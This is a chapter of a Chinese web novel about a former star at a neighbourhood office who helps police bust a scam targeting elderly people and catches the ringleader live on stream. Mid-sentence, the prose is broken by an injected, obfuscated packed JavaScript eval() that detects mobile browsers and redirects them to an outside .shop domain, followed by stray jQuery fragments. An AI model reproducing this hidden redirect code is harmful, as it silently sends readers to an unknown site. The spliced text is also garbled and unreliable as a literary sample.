骗子果然开始动了。
原定第二天在邻街社区的讲座临时取消，群里对外说法是“专家身体不适”，可转头就私聊了几个筛出来的老人，说可以参加一个更私密的说明会，补贴力度更大，名额也更少。
周敬盯着手机，脸色发沉。
“开始筛客户了。”他说，“越私密，越说明他们想狠狠干一票。”
“地点呢？”谢临舟问。
“康和体验馆。”周敬把地址推过来，“表面卖足浴盆和保健仪器，后头估计才是真正收钱的地方。”
王主任皱眉：“那今天直接端了？”
“还不行。”周敬摇头，“得等他们形成交易。否则他们回头一句‘我们只是做产品宣传’，又能滑过去。”
小林听得直冒火。
“这些人怎么这么会钻空子？”
“因为他们干的就是这个。”谢临舟把那几张海报按时间顺序排开，“你看。”
最早一张，是“免费听课领鸡蛋”。再往后，是“专家坐诊享补贴”。最后，是“私密说明会限额开放”。
“他们不是乱撒网。”他说，“先用鸡蛋把人引进来，再用补贴把人筛出去。能走到这一步的，才是他们真正要找的。”
会议室静了几秒。
王主任低低骂了句脏话。
当天下午，赵阿姨果然又收到了私聊。
【阿姨，您昨天没来登记真可惜。】
【不过我看您条件不错，可以给您留一个内部名额。】
【今晚六点半，带身份证和银行卡，来康和体验馆。】
赵阿姨盯着手机看了好一会儿，才慢慢把老花镜往上推了推，像是想确认自己没看错。
“……这是真让带银行卡啊？”
声音压得很低。
像怕被屏幕那头听见。
“带。”谢临舟说。
赵阿姨一愣：“啊？”
“银行卡带假的。”他语气平静，“身份证别给。”
赵阿姨：“……”
周敬在旁边补了一句：“您放心，我们的人都在附近。您就跟昨天一样，装得想占便宜一点就行。”
赵阿姨长长吐出一口气，神情复杂。
“我这辈子真没想过……”她咽了咽唾沫，“自己还能当卧底。”
王主任拍了拍她肩：“阿姨，立功了给您发奖状。”
“别别别。”赵阿姨赶紧摆手，“只要别让我儿子知道我差点又被骗，我就谢天谢地了。”
晚上六点二十，康和体验馆门口灯牌亮起。
赵阿姨把包带攥得死紧，掌心全是汗。进门前，她下意识回头看了街对面一眼，像是在确认那几个“自己人”还在。
玻璃门里摆着按摩椅、足浴盆、保健品展架，空气里浮着一股廉价玫瑰香薰，甜得发腻。墙上挂着“国家级专家坐诊”的金字牌匾，落款那行小字却印糊了。
她进去没多久，耳机里就传来周敬低低一句：
“开始查身份证了。”
“稳住。”他又道。
谢临舟站在对街便利店门口，手里拎着瓶矿泉水，目光始终落在体验馆玻璃门上。
他今天穿了件深灰外套，帽檐压得很低，口罩遮住大半张脸。从远处看，就是个等人顺便买瓶水的年轻人。
手机震了一下。
是赵阿姨发来的消息：
【让我办一张“尊享卡”，说今晚刷卡能返现。】
暗号到了。
谢临舟看着那行字，指尖在屏幕上停了半秒，回过去一个字：
【等。】
另一边，临江街道办直播间居然还在正常开着。
当然，镜头里播的是“晚间反诈答疑”，小林坐在前面硬着头皮讲“如何识别保健品虚假宣传”，背后已经全是汗。
弹幕还不知道外面已经进了第二阶段，只在那儿一顿猜。
【今天谢老师怎么不在？】
【想看本人】
【不会又去干大事了吧】
柴犬头像那个号冷不丁冒出来一句：
【八成是。】
小林看见这条，心里莫名一跳。
而康和体验馆里，局面已经彻底清楚了。
工作人员压低声音，拿着宣传手册围着老人一页页讲“养老健康尊享卡”的好处：今晚刷卡能返现，登记后能做免费体检，往后还有“专家”长期跟进。银行卡要先看，身份证信息也得先录，说是方便建档。
周敬在耳机里低声道：
“可以收了。”
下一秒，门被推开。
几本警官证几乎同时翻到同一页——
“警察！都别动！”
体验馆里那层虚假的暖气“轰”地一下就碎了。
有人往后门窜，有人急着把POS机往桌底下塞，一个胖中年"啊"地叫了一声，手里那杯刚泡的枸杞茶全扣在自己西裤上。
还有个穿白衬衫的中年男人，第一反应居然是扑向赵阿姨，想拽她包里的假银行卡。
可他手还没碰到包带，门口已经进来一个人。
动作快得几乎没给人反应的时间。
谢临舟一把将赵阿姨拽开，反手就把那男人按到了展架上。展架晃了两下，满排“降压神药”哗啦啦掉了一地。
赵阿姨腿一软，扶着椅子直喘气。
周敬脸都黑了：“还敢抢东西！”
现场乱成一团，尖叫、桌椅碰撞、脚步声混在一起，收网却已经算成了。抓到了几个现场工作人员，扣下了POS机和假宣传材料。
但主犯没到。
真正负责组织讲座、换地方、联系“内部客户”的那个男人，在警方进门前两分钟就已经从后门溜了。
周敬一边往外走一边飞快交代：
“姓冯，四十来岁，瘦高，左手虎口有疤。人没跑远，附近盯住。”
夜色压下，街边霓虹刚亮。
姓冯的没敢往远处跑。他顺着老人来时的路摸了过去——名单上还有两个人是从街道办那个方向过去的，没录完单，还没完全脱手。
而街道办那头，小林还在对着镜头讲得口干舌燥，根本不知道外面已经开始追人。
直到下一秒，直播间外头忽然一阵骚动。
镜头本能地往门口一偏。
一个瘦高男人不知什么时候摸到了办事大厅外，正揪着一个老太太的胳膊，压着声音急促地说着什么：
“阿姨，你听我说，刚才那边是误会。你跟我走，补贴我单独给你办——”
那老太太正是下午在体验馆里见过的另一位老人。她明显已经被吓住了，手里死死攥着包，不敢动。
小林一眼认出来，脸色当场变了。
“周警官！人——”
他话还没喊完，那个男人已经猛地松开老太太，转身就跑。
于是，几万正在直播间里摸鱼看街道办答疑的人，亲眼看见——
谢临舟跟着那人冲进了镜头。
“站住！”
那人跑得极快，一脚踩过花坛边沿，翻了道半人高的矮栏，借着门口围观的人群一挤一撞，直往旁边那条窄巷里钻。
小林举着手机追得上气不接下气，镜头抖得天旋地转，弹幕当场全疯了。
【我靠我靠我靠！！】
【真BOSS出现了？！】
【这也能现场直播？？】
【谢老师别追太近！】
【救命这是我能免费看的吗！】
那男人眼看甩不开，忽然回身狠狠一推，正好撞向旁边一位拄拐的老人。
四周一下惊呼出声。
就在那一瞬间，谢临舟几乎同时做了两件事。
一只手往左——托住那位拄拐老人的胳膊肘，稳稳把人扶正。
另一只手往右——拎住那男人的后领，借他自己冲过来的劲，一个转身把人狠狠往下一带。
“砰！”
瘦高男人整个人被掀翻在水泥地上，肩膀先着地，疼得抽了口气。他本能要撑起来，膝盖已经压在他后背上，手腕被反扣到身后。
一套动作，不到两秒。
“松手！”那男人又急又狠地挣扎，“你凭什么抓我！”
谢临舟没立刻回话。
他喘了一口，把压在那人背上的膝盖又沉了沉。
"跑得太业余。"
弹幕先是卡了一秒。然后彻底爆炸。
【啊啊啊啊啊啊】
【街道办不报警直接自己解决是吗】
【他真徒手按住了！！！】
【前顶流转职社区战神（认证）】
【柴犬号呢？快出来作证！】
【小林镜头别抖了求你我想看清】
周敬带人冲过来时，那男人还在地上死命扑腾，嘴里乱骂。
“你们没证据！我什么都没干！”
“你干没干，去所里说。”周敬这会已经跟了过来，将人一把拎起，冷笑，“现场人证物证都在，你还想往哪儿赖？”
男人脸色“唰”地白了。
这时候他才终于注意到，不远处小林手里那台还在直播的手机。
屏幕上的弹幕滚得他脸都花了。
周围居民也都围了上来，七嘴八舌。
“就是他！下午我也见过！”
“我妈差点被他骗着刷卡！”
“还想把老人哄走，太缺德了！”
赵阿姨站在人群后面，腿还发着软。她看着那个被按住带走的男人，像是这时候才真正反应过来——自己差一点，就真跟着走了。
她抬头看了一眼谢临舟。
嘴唇张了张，最后只说出一句。
“……还好你们在。”
谢临舟把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509956|202955||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她扶到边上。
“现在知道了？”
“知道什么？”
“鸡蛋没有免费的。”他说，“今晚这个更贵，差点搭进去一张银行卡。”
赵阿姨眼圈还红着，被他这么一说，又气又想笑，最后只是叹了口气。
旁边，小林举着手机，手都还在抖。
“谢、谢老师，直播间已经十几万人了……”
谢临舟回头看了眼镜头。
他脸上还带着刚跑完的薄汗，呼吸还没完全匀下来。他没避开镜头，也没靠近，只是直视着它，声音不大，一字一句却都很清楚。
“那正好。”
“都看清楚。”
“天上掉补贴这种事，和天上掉馅饼一样——掉下来，多半砸死人。”
人群里有人在低声议论，有人还举着手机。
赵阿姨没说话。她低着头，把包拉开一条缝，悄悄把那张假银行卡塞了回去，又用手按了按。
像是按住什么，不让它再掉出来。
这句话，连同“徒手按住骗子”的偷拍视频，当晚直接冲上了热搜。
#谢临舟徒手抓骗子#
#前顶流在街道办抓诈骗犯#
#天上掉补贴砸死人#
#临江街道直播间#
前后不到两个小时，四个词条一起冲到首页。
而最先看傻的，反而不是网友。
是娱乐圈那帮原本还在观望的人。
北京，某导演家里。
闻叙把手里的保温杯放到桌上，看着那段直播追击视频，沉默了整整十秒。
“这小子……”他忽然问助理，“以前是不是演过《海岸线》的男二？”
“是他。”
“他退圈了？”
“退了。”
“退到街道办？”
“……是。”
闻叙揉了揉眉心，盯着屏幕里那张按住人的侧脸，看了几秒。
“把他联系方式给我。”
助理一顿：“导演，他现在没经纪人了。”
“那就把他街道办电话给我。”
助理：“……”
闻叙抬头：“怎么？”
“闻导，您要是给街道办打电话，可能先接到的是主任。”
闻叙停了两秒。
然后他把那杯刚倒的茶端起来，慢慢喝了一口。
“那也打。”他说，“这种人，我追定了。”
当晚，临江街道办电话差点被打爆。
第一通，是闻叙那边的助理。第二通，是某影视公司的总裁办。第三通，是一位女明星本人。第四通——
王主任听了两句，直接挂了。
她端起保温杯，隔着办公室玻璃，看了一眼正在和周敬做笔录的谢临舟。
“小谢啊。”
“嗯。”
“明天还想不想上班？”
谢临舟抬眼。
“想。”
“那这些电话——”
王主任沉吟了一下，露出一个标准的老基层式慈祥笑容：“我就当是打给我这儿的了。”
谢临舟：“……”
他知道王主任这话是什么意思。
——今晚别想准点下班了。
可有些事就算王主任把门关得再死，也未必拦得住。
比如，同一时间，赵阿姨刚刚到家。
她没开灯，在玄关站了一会儿，手机震了一下。
是儿子。
她看了两秒，按下接听。
“妈。”
“嗯。”
“这么晚还没睡？”
“……刚到家。”
那头顿了一下。
“去哪儿了？”
赵阿姨换了只手拿手机，另一只手不自觉地又按了一下包。
“没去哪儿。”她说，“跟楼下王姐散了会儿步。”
儿子“哦”了一声，又叮嘱了两句注意身体早点睡，挂了。
屋里安静下来。
她站在玄关没动，过了一会儿，才把捂在包袋上的手拿开。
啪嗒。
灯开了。
钥匙照例放到玄关柜上“xx阿胶糕·母亲节专供”的掉漆铁皮盒里。
铁皮盒旁边立着一张照片，照片上有三个人，都笑着，头发乌黑。
隔壁小夫妻炒菜的锅铲声和楼下辅导班的教学声顺着晚风溜进窗，更清晰了。
——
再比如，街道办的窗外——那辆从一个小时前开始，就停在街道办斜对面、一直没熄火的黑色商务车。
车窗半降着一条缝。副驾的助理看了一眼手表，又看了一眼街道办门口，没动。
车主本人没下车，也没催。只有车内液晶屏的冷光，隔着深色车窗透出一线眉目。
车牌上，贴了一个小小的“闻”字。